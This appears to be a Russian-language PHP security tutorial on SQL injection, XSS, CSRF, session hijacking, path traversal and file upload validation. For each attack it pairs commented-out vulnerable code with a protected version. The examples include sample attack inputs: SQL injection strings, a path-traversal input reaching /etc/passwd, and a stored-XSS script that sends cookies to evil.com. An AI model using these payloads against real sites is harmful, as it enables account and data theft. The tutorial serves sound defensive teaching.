Векторы атак и защита
SQL Injection
<?php
declare(strict_types=1);
// VULNERABLE CODE — NEVER DO THIS!
// $query = "SELECT * FROM users WHERE email = '{$_GET['email']}'";
// Input: ' OR '1'='1
// Result: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users!
// PROTECTION: Prepared statements
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_GET['email']]);
// Also vulnerable — string concatenation
// $query = "SELECT * FROM users ORDER BY " . $_GET['sort'];
// Input: name; DROP TABLE users; --
// Protection for identifiers (cannot be parameterized)
$allowed = ['name', 'email', 'created_at'];
$sort = in_array($_GET['sort'] ?? '', $allowed, true)
? $_GET['sort']
: 'created_at';
$stmt = $pdo->query("SELECT * FROM users ORDER BY {$sort}");
Запомни: Prepared statements — ЕДИНСТВЕННАЯ надёжная защита от SQL injection. Имена таблиц и столбцов нельзя параметризовать — используйте белый список.
mysql_real_escape_string()— устаревшее решение, не используйте.
XSS (Cross-Site Scripting)
Stored XSS
<?php
declare(strict_types=1);
// User saves malicious content to database
$comment = $_POST['comment'];
// If comment = '<script>document.location="http://evil.com/steal?c="+document.cookie</script>'
// VULNERABLE: output without escaping
// echo $comment; // Script executes in victim's browser!
// PROTECTION: always escape output
echo htmlspecialchars($comment, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
Reflected XSS
<?php
declare(strict_types=1);
// URL: page.php?search=<script>alert('xss')</script>
// VULNERABLE:
// echo "Results for: {$_GET['search']}";
// PROTECTED:
echo 'Results for: ' . htmlspecialchars($_GET['search'] ?? '', ENT_QUOTES, 'UTF-8');
Контексты экранирования
<?php
declare(strict_types=1);
$userInput = $_GET['data'] ?? '';
// HTML context — htmlspecialchars
echo '<p>' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '</p>';
// HTML attribute — htmlspecialchars
echo '<input value="' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '">';
// JavaScript context — json_encode
echo '<script>var data = ' . json_encode($userInput, JSON_HEX_TAG | JSON_HEX_APOS) . ';</script>';
// URL context — urlencode
echo '<a href="/search?q=' . urlencode($userInput) . '">Search</a>';
// CSS context — escape special characters
// Avoid putting user input in CSS
CSRF (Cross-Site Request Forgery)
<?php
declare(strict_types=1);
// CSRF token generation and validation
session_start();
// Generate token
function generateCsrfToken(): string
{
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
return $token;
}
// Validate token
function validateCsrfToken(string $token): bool
{
return isset($_SESSION['csrf_token'])
&& hash_equals($_SESSION['csrf_token'], $token);
}
<!-- Include token in forms -->
<form method="POST" action="/delete-account">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars(generateCsrfToken()) ?>">
<button type="submit">Delete Account</button>
</form>
<?php
declare(strict_types=1);
// Validate on server
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$token = $_POST['csrf_token'] ?? '';
if (!validateCsrfToken($token)) {
http_response_code(403);
exit('Invalid CSRF token');
}
// Process form
}
Запомни: CSRF защита обязательна для всех форм, изменяющих данные (POST/PUT/DELETE). Токен должен быть уникальным для сессии, храниться на сервере и проверяться при каждом запросе. Используйте
hash_equals()для сравнения (timing-safe).
Session Hijacking
<?php
declare(strict_types=1);
// Secure session configuration
ini_set('session.cookie_httponly', '1'); // No JS access to cookie
ini_set('session.cookie_secure', '1'); // HTTPS only
ini_set('session.cookie_samesite', 'Lax'); // CSRF protection
ini_set('session.use_strict_mode', '1'); // Reject uninitialized IDs
ini_set('session.use_only_cookies', '1'); // No session ID in URL
session_start();
// Regenerate session ID after login
function secureLogin(string $email, string $password): bool
{
$user = findUserByEmail($email);
if ($user && password_verify($password, $user['password_hash'])) {
session_regenerate_id(true); // Destroy old session
$_SESSION['user_id'] = $user['id'];
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
return true;
}
return false;
}
// Validate session on each request
function validateSession(): bool
{
if (!isset($_SESSION['user_id'])) {
return false;
}
// Check if IP or user agent changed (possible hijacking)
if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
session_destroy();
return false;
}
return true;
}
Path Traversal
<?php
declare(strict_types=1);
// VULNERABLE — path traversal
// $file = $_GET['page']; // Input: ../../etc/passwd
// include "/var/www/pages/{$file}.php"; // Includes /etc/passwd!
// PROTECTION
$allowedPages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowedPages, true)) {
$page = 'home';
}
include "/var/www/pages/{$page}.php";
// Alternative: validate with realpath
$basePath = '/var/www/uploads/';
$requestedFile = $basePath . $_GET['file'];
$realPath = realpath($requestedFile);
if ($realPath === false || !str_starts_with($realPath, $basePath)) {
http_response_code(403);
exit('Access denied');
}
// Safe to use $realPath
File Upload Security
<?php
declare(strict_types=1);
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$maxSize = 5 * 1024 * 1024; // 5MB
if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
throw new RuntimeException('Upload failed');
}
// Validate MIME type (not just extension!)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['upload']['tmp_name']);
if (!in_array($mimeType, $allowedTypes, true)) {
throw new RuntimeException('Invalid file type');
}
if ($_FILES['upload']['size'] > $maxSize) {
throw new RuntimeException('File too large');
}
// Generate safe filename
$extension = match($mimeType) {
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
};
$filename = bin2hex(random_bytes(16)) . '.' . $extension;
// Move to upload directory (outside web root ideally)
move_uploaded_file($_FILES['upload']['tmp_name'], "/var/uploads/{$filename}");